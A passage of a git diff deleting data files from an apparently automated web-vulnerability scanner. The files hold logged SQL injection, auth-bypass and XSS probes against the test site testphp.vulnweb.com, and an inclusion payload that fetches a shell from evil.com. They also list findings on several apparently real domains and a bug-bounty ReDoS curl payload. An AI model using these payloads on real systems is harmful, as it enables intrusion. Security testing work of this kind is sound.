"failure_reason": "Rejected sqli_union in pic: negative controls show same behavior (1/4 controls match) (score: 30/100)", - "timestamp": 1771384514.59153 - }, - { - "vuln_type": "auth_bypass", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/admin", - "attempted_payloads": [ - "' OR '1'='1" - ], - "failure_reason": "Rejected auth_bypass in id: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)", - "timestamp": 1771805652.685057 - }, - { - "vuln_type": "auth_bypass", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/admin", - "attempted_payloads": [ - "admin'--" - ], - "failure_reason": "Rejected auth_bypass in id: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)", - "timestamp": 1771805654.243371 - }, - { - "vuln_type": "auth_bypass", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/admin", - "attempted_payloads": [ - "admin' #" - ], - "failure_reason": "Rejected auth_bypass in id: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)", - "timestamp": 1771805655.803651 - }, - { - "vuln_type": "auth_bypass", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/admin", - "attempted_payloads": [ - "' OR '1'='1" - ], - "failure_reason": "Rejected auth_bypass in q: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)", - "timestamp": 1771805657.371906 - }, - { - "vuln_type": "auth_bypass", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/admin", - "attempted_payloads": [ - "admin'--" - ], - "failure_reason": "Rejected auth_bypass in q: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)", - "timestamp": 1771805658.941612 - }, - { - "vuln_type": "auth_bypass", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/admin", - "attempted_payloads": [ - "admin' #" - ], - "failure_reason": "Rejected auth_bypass in q: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)", - "timestamp": 1771805660.526166 - }, - { - "vuln_type": "xss_reflected", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1", - "attempted_payloads": [ - "" - ], - "failure_reason": "Rejected xss_reflected in pic: negative controls show same behavior (2/4 controls match) (score: 30/100)", - "timestamp": 1771805750.5929239 - }, - { - "vuln_type": "xss_reflected", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1", - "attempted_payloads": [ - "" - ], - "failure_reason": "Rejected xss_reflected in pic: negative controls show same behavior (2/4 controls match) (score: 30/100)", - "timestamp": 1771805752.1684322 - }, - { - "vuln_type": "xss_reflected", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1", - "attempted_payloads": [ - "" - ], - "failure_reason": "Rejected xss_reflected in pic: negative controls show same behavior (2/4 controls match) (score: 30/100)", - "timestamp": 1771805753.733855 - }, - { - "vuln_type": "sqli_error", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1", - "attempted_payloads": [ - "'" - ], - "failure_reason": "Rejected sqli_error in pic: negative controls show same behavior (2/4 controls match) (score: 30/100)", - "timestamp": 1771805755.2986062 - }, - { - "vuln_type": "sqli_error", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1", - "attempted_payloads": [ - "\"" - ], - "failure_reason": "Rejected sqli_error in pic: negative controls show same behavior (2/4 controls match) (score: 30/100)", - "timestamp": 1771805756.867149 - }, - { - "vuln_type": "sqli_error", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1", - "attempted_payloads": [ - "' OR '1'='1" - ], - "failure_reason": "Rejected sqli_error in pic: negative controls show same behavior (2/4 controls match) (score: 30/100)", - "timestamp": 1771805758.4554482 - }, - { - "vuln_type": "sqli_blind", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1", - "attempted_payloads": [ - "' AND 1=1--" - ], - "failure_reason": "Rejected sqli_blind in pic: negative controls show same behavior (2/4 controls match) (score: 30/100)", - "timestamp": 1771805760.024313 - }, - { - "vuln_type": "sqli_blind", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1", - "attempted_payloads": [ - "' AND 1=2--" - ], - "failure_reason": "Rejected sqli_blind in pic: negative controls show same behavior (2/4 controls match) (score: 30/100)", - "timestamp": 1771805761.607185 - }, - { - "vuln_type": "sqli_time", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/search.php", - "attempted_payloads": [ - "'; WAITFOR DELAY '0:0:5'--" - ], - "failure_reason": "Rejected sqli_time in test: no proof of execution (score: 20/100)", - "timestamp": 1771805837.551647 - }, - { - "vuln_type": "rfi", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/listproducts.php", - "attempted_payloads": [ - "http://evil.com/shell.txt" - ], - "failure_reason": "Rejected rfi in cat: no proof of execution; negative controls show same behavior (1/4 controls match) (score: 0/100)", - "timestamp": 1771805837.868068 - }, - { - "vuln_type": "sqli_time", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/listproducts.php", - "attempted_payloads": [ - "'; WAITFOR DELAY '0:0:5'--" - ], - "failure_reason": "Rejected sqli_time in cat: no proof of execution; negative controls show same behavior (1/4 controls match) (score: 0/100)", - "timestamp": 1771805839.311368 - }, - { - "vuln_type": "rfi", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/artists.php", - "attempted_payloads": [ - "http://evil.com/shell.txt" - ], - "failure_reason": "Rejected rfi in artist: no proof of execution; negative controls show same behavior (1/4 controls match) (score: 0/100)", - "timestamp": 1771805839.628087 - }, - { - "vuln_type": "sqli_time", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/artists.php", - "attempted_payloads": [ - "'; WAITFOR DELAY '0:0:5'--" - ], - "failure_reason": "Rejected sqli_time in artist: no proof of execution; negative controls show same behavior (1/4 controls match) (score: 0/100)", - "timestamp": 1771805840.8821042 - }, - { - "vuln_type": "rfi", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/product.php", - "attempted_payloads": [ - "http://evil.com/shell.txt" - ], - "failure_reason": "Rejected rfi in pic: no proof of execution; negative controls show same behavior (3/4 controls match) (score: 0/100)", - "timestamp": 1771805843.089107 - }, - { - "vuln_type": "sqli_union", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/listproducts.php", - "attempted_payloads": [ - "' UNION SELECT NULL--" - ], - "failure_reason": "Rejected sqli_union in cat: negative controls show same behavior (1/4 controls match) (score: 30/100)", - "timestamp": 1771805843.09634 - }, - { - "vuln_type": "sqli_time", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/product.php", - "attempted_payloads": [ - "'; WAITFOR DELAY '0:0:5'--" - ], - "failure_reason": "Rejected sqli_time in pic: no proof of execution; negative controls show same behavior (2/4 controls match) (score: 0/100)", - "timestamp": 1771805843.402582 - }, - { - "vuln_type": "sqli_union", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/artists.php", - "attempted_payloads": [ - "' UNION SELECT NULL--" - ], - "failure_reason": "Rejected sqli_union in artist: negative controls show same behavior (1/4 controls match) (score: 30/100)", - "timestamp": 1771805844.676404 - }, - { - "vuln_type": "sqli_time", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/search.php?test=1", - "attempted_payloads": [ - "'; WAITFOR DELAY '0:0:5'--" - ], - "failure_reason": "Rejected sqli_time in searchFor: no proof of execution (score: 20/100)", - "timestamp": 1771805846.2387269 - }, - { - "vuln_type": "sqli_union", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/product.php", - "attempted_payloads": [ - "' UNION SELECT NULL--" - ], - "failure_reason": "Rejected sqli_union in pic: negative controls show same behavior (1/4 controls match) (score: 30/100)", - "timestamp": 1771805846.582627 - }, - { - "vuln_type": "auth_bypass", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/admin", - "attempted_payloads": [ - "' OR '1'='1" - ], - "failure_reason": "Rejected auth_bypass in id: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)", - "timestamp": 1771807039.887298 - }, - { - "vuln_type": "auth_bypass", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/admin", - "attempted_payloads": [ - "admin'--" - ], - "failure_reason": "Rejected auth_bypass in id: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)", - "timestamp": 1771807041.470058 - }, - { - "vuln_type": "auth_bypass", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/admin", - "attempted_payloads": [ - "admin' #" - ], - "failure_reason": "Rejected auth_bypass in id: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)", - "timestamp": 1771807043.0517702 - }, - { - "vuln_type": "auth_bypass", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/admin", - "attempted_payloads": [ - "' OR '1'='1" - ], - "failure_reason": "Rejected auth_bypass in q: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)", - "timestamp": 1771807044.633863 - }, - { - "vuln_type": "auth_bypass", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/admin", - "attempted_payloads": [ - "admin'--" - ], - "failure_reason": "Rejected auth_bypass in q: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)", - "timestamp": 1771807046.215348 - }, - { - "vuln_type": "auth_bypass", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/admin", - "attempted_payloads": [ - "admin' #" - ], - "failure_reason": "Rejected auth_bypass in q: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)", - "timestamp": 1771807047.789428 - }, - { - "vuln_type": "rfi", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/listproducts.php", - "attempted_payloads": [ - "http://evil.com/shell.txt" - ], - "failure_reason": "Rejected rfi in cat: no proof of execution; negative controls show same behavior (1/4 controls match) (score: 0/100)", - "timestamp": 1771807222.354126 - }, - { - "vuln_type": "sqli_time", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/listproducts.php", - "attempted_payloads": [ - "'; WAITFOR DELAY '0:0:5'--" - ], - "failure_reason": "Rejected sqli_time in cat: no proof of execution; negative controls show same behavior (1/4 controls match) (score: 0/100)", - "timestamp": 1771807226.270494 - }, - { - "vuln_type": "rfi", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/artists.php", - "attempted_payloads": [ - "http://evil.com/shell.txt" - ], - "failure_reason": "Rejected rfi in artist: no proof of execution; negative controls show same behavior (1/4 controls match) (score: 0/100)", - "timestamp": 1771807226.7394428 - }, - { - "vuln_type": "sqli_union", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/listproducts.php", - "attempted_payloads": [ - "' UNION SELECT NULL--" - ], - "failure_reason": "Rejected sqli_union in cat: negative controls show same behavior (1/4 controls match) (score: 30/100)", - "timestamp": 1771807227.814064 - }, - { - "vuln_type": "sqli_time", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/artists.php", - "attempted_payloads": [ - "'; WAITFOR DELAY '0:0:5'--" - ], - "failure_reason": "Rejected sqli_time in artist: no proof of execution; negative controls show same behavior (1/4 controls match) (score: 0/100)", - "timestamp": 1771807228.05146 - }, - { - "vuln_type": "sqli_union", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/artists.php", - "attempted_payloads": [ - "' UNION SELECT NULL--" - ], - "failure_reason": "Rejected sqli_union in artist: negative controls show same behavior (1/4 controls match) (score: 30/100)", - "timestamp": 1771807229.3852532 - }, - { - "vuln_type": "sqli_time", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/search.php", - "attempted_payloads": [ - "'; WAITFOR DELAY '0:0:5'--" - ], - "failure_reason": "Rejected sqli_time in test: no proof of execution (score: 20/100)", - "timestamp": 1771807229.639891 - }, - { - "vuln_type": "sqli_time", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/product.php", - "attempted_payloads": [ - "'; WAITFOR DELAY '0:0:5'--" - ], - "failure_reason": "Rejected sqli_time in pic: no proof of execution; negative controls show same behavior (2/4 controls match) (score: 0/100)", - "timestamp": 1771807232.974085 - }, - { - "vuln_type": "rfi", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/product.php", - "attempted_payloads": [ - "http://evil.com/shell.txt" - ], - "failure_reason": "Rejected rfi in pic: no proof of execution; negative controls show same behavior (3/4 controls match) (score: 0/100)", - "timestamp": 1771807234.8649979 - }, - { - "vuln_type": "sqli_union", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/product.php", - "attempted_payloads": [ - "' UNION SELECT NULL--" - ], - "failure_reason": "Rejected sqli_union in pic: negative controls show same behavior (1/4 controls match) (score: 30/100)", - "timestamp": 1771807237.138626 - } - ], - "strategies": { - "server: nginx/1.19.0": { - "technology": "Server: nginx/1.19.0", - "vuln_types_found": [ - "sqli_union", - "sqli_error", - "xss_dom", - "nosql_injection", - "missing_xcto", - "blind_xss", - "sqli_blind", - "directory_listing", - "xss_reflected", - "sensitive_data_exposure", - "missing_csp", - "csrf", - "cleartext_transmission", - "clickjacking" - ], - "priority_order": [ - "xss_reflected", - "xss_reflected", - "sqli_error", - "sqli_blind", - "xss_reflected", - "sqli_union", - "csrf", - "csrf", - "csrf", - "csrf" - ], - "key_insights": [ - "sensitive_data_exposure found at http://testphp.vulnweb.com/ (confidence: 0)", - "sqli_blind found at http://testphp.vulnweb.com/search.php?test=1&test= (confidence: 100)", - "xss_reflected found at http://testphp.vulnweb.com/hpp/params.php?p=valid& (confidence: 100)", - "clickjacking found at http://testphp.vulnweb.com/ (confidence: 0)", - "sqli_error found at http://testphp.vulnweb.com/search.php?test=1&test= (confidence: 100)", - "xss_reflected found at http://testphp.vulnweb.com/showimage.php?file=1&fi (confidence: 100)", - "missing_xcto found at http://testphp.vulnweb.com/ (confidence: 0)", - "missing_csp found at http://testphp.vulnweb.com/ (confidence: 0)", - "sqli_error found at http://testphp.vulnweb.com/search.php?test=query&t (confidence: 100)", - "sqli_blind found at http://testphp.vulnweb.com/search.php?test=query&t (confidence: 100)", - "xss_reflected found at http://testphp.vulnweb.com/hpp/?pp=12&pp=%3Cscript (confidence: 100)" - ], - "scan_count": 8, - "success_rate": 0.0, - "timestamp": 1771807282.427767 - }, - "php/5.6.40-38+ubuntu20.04.1+deb.sury.org+1": { - "technology": "PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1", - "vuln_types_found": [ - "sqli_union", - "sqli_error", - "xss_dom", - "nosql_injection", - "missing_xcto", - "blind_xss", - "sqli_blind", - "directory_listing", - "xss_reflected", - "sensitive_data_exposure", - "missing_csp", - "csrf", - "cleartext_transmission", - "clickjacking" - ], - "priority_order": [ - "xss_reflected", - "xss_reflected", - "sqli_error", - "sqli_blind", - "xss_reflected", - "sqli_union", - "csrf", - "csrf", - "csrf", - "csrf" - ], - "key_insights": [ - "sensitive_data_exposure found at http://testphp.vulnweb.com/ (confidence: 0)", - "sqli_blind found at http://testphp.vulnweb.com/search.php?test=1&test= (confidence: 100)", - "xss_reflected found at http://testphp.vulnweb.com/hpp/params.php?p=valid& (confidence: 100)", - "clickjacking found at http://testphp.vulnweb.com/ (confidence: 0)", - "sqli_error found at http://testphp.vulnweb.com/search.php?test=1&test= (confidence: 100)", - "xss_reflected found at http://testphp.vulnweb.com/showimage.php?file=1&fi (confidence: 100)", - "missing_xcto found at http://testphp.vulnweb.com/ (confidence: 0)", - "missing_csp found at http://testphp.vulnweb.com/ (confidence: 0)", - "sqli_error found at http://testphp.vulnweb.com/search.php?test=query&t (confidence: 100)", - "sqli_blind found at http://testphp.vulnweb.com/search.php?test=query&t (confidence: 100)", - "xss_reflected found at http://testphp.vulnweb.com/hpp/?pp=12&pp=%3Cscript (confidence: 100)" - ], - "scan_count": 8, - "success_rate": 0.0, - "timestamp": 1771807282.4323251 - }, - "php": { - "technology": "PHP", - "vuln_types_found": [ - "sqli_union", - "sqli_error", - "xss_dom", - "nosql_injection", - "missing_xcto", - "blind_xss", - "sqli_blind", - "directory_listing", - "xss_reflected", - "sensitive_data_exposure", - "missing_csp", - "csrf", - "cleartext_transmission", - "clickjacking" - ], - "priority_order": [ - "xss_reflected", - "xss_reflected", - "sqli_error", - "sqli_blind", - "xss_reflected", - "sqli_union", - "csrf", - "csrf", - "csrf", - "csrf" - ], - "key_insights": [ - "sensitive_data_exposure found at http://testphp.vulnweb.com/ (confidence: 0)", - "sqli_blind found at http://testphp.vulnweb.com/search.php?test=1&test= (confidence: 100)", - "xss_reflected found at http://testphp.vulnweb.com/hpp/params.php?p=valid& (confidence: 100)", - "clickjacking found at http://testphp.vulnweb.com/ (confidence: 0)", - "sqli_error found at http://testphp.vulnweb.com/search.php?test=1&test= (confidence: 100)", - "xss_reflected found at http://testphp.vulnweb.com/showimage.php?file=1&fi (confidence: 100)", - "missing_xcto found at http://testphp.vulnweb.com/ (confidence: 0)", - "missing_csp found at http://testphp.vulnweb.com/ (confidence: 0)", - "sqli_error found at http://testphp.vulnweb.com/search.php?test=query&t (confidence: 100)", - "sqli_blind found at http://testphp.vulnweb.com/search.php?test=query&t (confidence: 100)", - "xss_reflected found at http://testphp.vulnweb.com/hpp/?pp=12&pp=%3Cscript (confidence: 100)" - ], - "scan_count": 8, - "success_rate": 0.0, - "timestamp": 1771807282.438432 - }, - "server: cloudflare": { - "technology": "Server: cloudflare", - "vuln_types_found": [ - "csrf", - "ssti", - "ssl_issues", - "missing_csp", - "missing_hsts", - "missing_xcto" - ], - "priority_order": [ - "ssti", - "csrf", - "missing_hsts", - "ssl_issues", - "missing_csp", - "missing_csp", - "missing_hsts" - ], - "key_insights": [ - "ssl_issues found at https://hackersec.com (confidence: 0)", - "missing_hsts found at https://unico.io/ (confidence: 0)", - "missing_hsts found at https://unico.io (confidence: 0)", - "csrf found at https://has.hackersec.com (confidence: 0)", - "ssti found at https://hackersec.com/download?id=%3Csvg/onload%3D (confidence: 100)", - "missing_hsts found at https://hackersec.com (confidence: 0)", - "missing_xcto found at https://unico.io/ (confidence: 0)", - "missing_csp found at https://unico.io (confidence: 0)", - "missing_csp found at https://unico.io/ (confidence: 0)", - "missing_csp found at https://hackersec.com (confidence: 0)", - "missing_xcto found at https://unico.io (confidence: 0)" - ], - "scan_count": 3, - "success_rate": 0.0, - "timestamp": 1771341192.942349 - }, - "waf:cloudflare (100%)": { - "technology": "WAF:cloudflare (100%)", - "vuln_types_found": [ - "missing_csp", - "missing_hsts", - "missing_xcto" - ], - "priority_order": [ - "missing_hsts", - "missing_xcto", - "missing_csp" - ], - "key_insights": [ - "missing_hsts found at https://unico.io (confidence: 0)", - "missing_hsts found at https://unico.io/ (confidence: 0)", - "missing_csp found at https://unico.io/ (confidence: 0)", - "missing_csp found at https://unico.io (confidence: 0)", - "missing_xcto found at https://unico.io/ (confidence: 0)", - "missing_xcto found at https://unico.io (confidence: 0)" - ], - "scan_count": 2, - "success_rate": 0.0, - "timestamp": 1771340713.252238 - }, - "angular": { - "technology": "Angular", - "vuln_types_found": [ - "ssti", - "ssl_issues", - "missing_hsts", - "missing_csp", - "csrf" - ], - "priority_order": [ - "csrf", - "csrf", - "missing_csp" - ], - "key_insights": [ - "missing_csp found at https://hackersec.com (confidence: 0)", - "ssti found at https://hackersec.com/download?id=%3Csvg/onload%3D (confidence: 100)", - "csrf found at https://sistema.soc.com.br/WebSoc/recuperacao-senh (confidence: 0)", - "csrf found at https://sistema.soc.com.br/ (confidence: 0)", - "missing_hsts found at https://hackersec.com (confidence: 0)", - "csrf found at https://has.hackersec.com (confidence: 0)", - "missing_csp found at https://sistema.soc.com.br/ (confidence: 0)", - "ssl_issues found at https://hackersec.com (confidence: 0)" - ], - "scan_count": 3, - "success_rate": 0.0, - "timestamp": 1771384253.624866 - }, - "jquery": { - "technology": "jQuery", - "vuln_types_found": [ - "ssti", - "ssl_issues", - "missing_hsts", - "missing_csp", - "csrf" - ], - "priority_order": [ - "csrf", - "csrf", - "missing_csp" - ], - "key_insights": [ - "missing_csp found at https://hackersec.com (confidence: 0)", - "ssti found at https://hackersec.com/download?id=%3Csvg/onload%3D (confidence: 100)", - "csrf found at https://sistema.soc.com.br/WebSoc/recuperacao-senh (confidence: 0)", - "csrf found at https://sistema.soc.com.br/ (confidence: 0)", - "missing_hsts found at https://hackersec.com (confidence: 0)", - "csrf found at https://has.hackersec.com (confidence: 0)", - "missing_csp found at https://sistema.soc.com.br/ (confidence: 0)", - "ssl_issues found at https://hackersec.com (confidence: 0)" - ], - "scan_count": 3, - "success_rate": 0.0, - "timestamp": 1771384253.631051 - }, - "server: cloudfront": { - "technology": "Server: CloudFront", - "vuln_types_found": [ - "missing_csp", - "csrf" - ], - "priority_order": [ - "csrf", - "csrf", - "missing_csp" - ], - "key_insights": [ - "csrf found at https://sistema.soc.com.br/ (confidence: 0)", - "csrf found at https://sistema.soc.com.br/WebSoc/recuperacao-senh (confidence: 0)", - "missing_csp found at https://sistema.soc.com.br/ (confidence: 0)" - ], - "scan_count": 2, - "success_rate": 0.0, - "timestamp": 1771384253.616843 - } - }, - "last_updated": 1771807282.442196, - "stats": { - "total_traces": 169, - "total_failures": 186, - "technologies": [ - "server: nginx/1.19.0", - "php/5.6.40-38+ubuntu20.04.1+deb.sury.org+1", - "php", - "server: cloudflare", - "waf:cloudflare (100%)", - "angular", - "jquery", - "server: cloudfront" - ] - } -} \ No newline at end of file diff --git a/data/vectorstore/bm25_index.json b/data/vectorstore/bm25_index.json deleted file mode 100644 index 559d5f4..0000000 --- a/data/vectorstore/bm25_index.json +++ /dev/null @@ -1 +0,0 @@ -{"collections": {"bug_bounty_patterns": {"documents": [{"doc_id": "bb_method_0", "text": "1. Send a POST with the bomb payload: \n\n ````\n curl 'https://wiki.cs.money/graphql' \\ \n -H 'user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36' \\\n -H 'content-type: application/json' \\\n -H 'accept: */*' \\ \n --data-binary $'{\"query\":\"query a { \\\\n search(q: \\\\\"[a-zA-Z0-9]+\\\\\\\\\\\\\\\\s?)+$|^([a-zA-Z0-9.\\'\\\\\\\\\\\\\\\\w\\\\\\\\\\\\\\\\W]+\\\\\\\\\\\\\\\\s?)+$\\\\\\\\\\\\\\\\\\\\\", lang: \\\\\"en\\\\\") {\\\\n _id\\\\n weapon_id\\\\n rarity\\\\n collection{ _id name }\\\\n collection_id \\\\n \\\\n }\\\\n}\",\"variables\":null}' \\\n --compressed\n ```\n 1. Compare response times with a simple query \"AAA\" (explained above)", "metadata": {"source_type": "bug_bounty", "vuln_type": "rce", "vuln_types": "rce,graphql", "technologies": "node,go,graphql", "chunk_type": "methodology", "entry_index": 0}}, {"doc_id": "bb_summary_0", "text": "Explique a vulnerabilidade e como reproduzi-la baseando-se no relat\u00f3rio: ReDoS at wiki.cs.money graphQL endpoint (AND probably a kind of command injection)\n\nThe endpoint /graphql has a vulnerable query operation named \"search\", that can I send a Regex malformed parameter, in order to trick the original regular expression to a regex bomb expression. \n\n+ Payload with a \"common\" search, querying the value \"AAA\":\n\n```\nquery a { \n search(q: \"AAA\", lang: \"en\") {\n _id\n weapon_id\n rarity\n collection{ _id name }\n collection_id \n \n }\n}\n```\n\nResponse:\n\n```\n{\n \"data\": {\n \"search\": [\n {\n \"_id\": \"sticker-baaa-ckstabber\",\n \"weapon_id\": null,\n \"rarity\": \"High Grade\",\n \"collection\": null,\n \"collection_id\": null\n },\n {\n \"_id\": \"sticker-ork-waaagh\",\n \"weapon_id\": null,\n \"rarity\": \"High Grade\",\n \"collection\": null,\n \"collection_id\": null\n }\n ]\n },\n \"extensions\": {\n \"tracing\": {\n \"version\": 1,\n \"startTime\": \"2020-10-07T02:07:55.251Z\",\n \"endTime\": \"2020-10-07T02:07:55.516Z\",\n \"duration\": 264270190,\n \"execution\": {\n \"resolvers\": [\n {\n \"path\": [\n \"search\"\n ],...[Resumed for convenience]\n ]\n }\n }\n }\n}\n```\n\nPay attention in this part of JSON response: \n\n```\n \"startTime\": \"2020-10-07T02:07:55.251Z\",\n \"endTime\": \"2020-10-07T02:07:55.516Z\",\n``` \n\n**It's about a instantaneously response time.**\n\nOk, now we're ready to play with this...\n\nYou can reveal the bug inserting \"\\u0000\" on \"q\" parameter, in order to display an error with part of the graph query.\n\n+ Payload A (see the error response):\n\n ```\nquery a { \n search(q: \"\\u0000)\", lang: \"en\") {\n _id\n weapon_id\n rarity\n collection{ _id name }\n collection_id \n }\n}\n ```\n\nResponse:\n\n```\n{\n \"errors\": [\n {\n \"message\": \"value (?=.*\\u0000) must not contain null bytes\",\n \"locations\": [\n {\n \"line\": 2,\n \"column\": 3\n }\n ],\n \"path\": [\n \"search\"\n ],\n \"extensions\": {\n \"code\": \"INTERNAL_SERVER_ERROR\"\n ", "metadata": {"source_type": "bug_bounty", "vuln_type": "rce", "vuln_types": "rce,graphql", "technologies": "node,go,graphql", "chunk_type": "summary", "entry_index": 0}}, {"doc_id": "bb_payload_0", "text": "Vulnerability: rce\nTechnologies: node, go, graphql\n\nPayloads/PoC:\nquery a { \n search(q: \"AAA\", lang: \"en\") {\n _id\n weapon_id\n rarity\n collection{ _id name }\n collection_id \n \n }\n}\n\n{\n \"data\": {\n \"search\": [\n {\n \"_id\": \"sticker-baaa-ckstabber\",\n \"weapon_id\": null,\n \"rarity\": \"High Grade\",\n \"collection\": null,\n \"collection_id\": null\n },\n {\n \"_id\": \"sticker-ork-waaagh\",\n \"weapon_id\": null,\n \"rarity\": \"High Grade\",\n \"collection\": null,\n \"collection_id\": null\n }\n ]\n },\n \"extensions\": {\n \"tracing\": {\n \"version\": 1,\n \"startTime\": \"2020-10-07T02:07:55.251Z\",\n 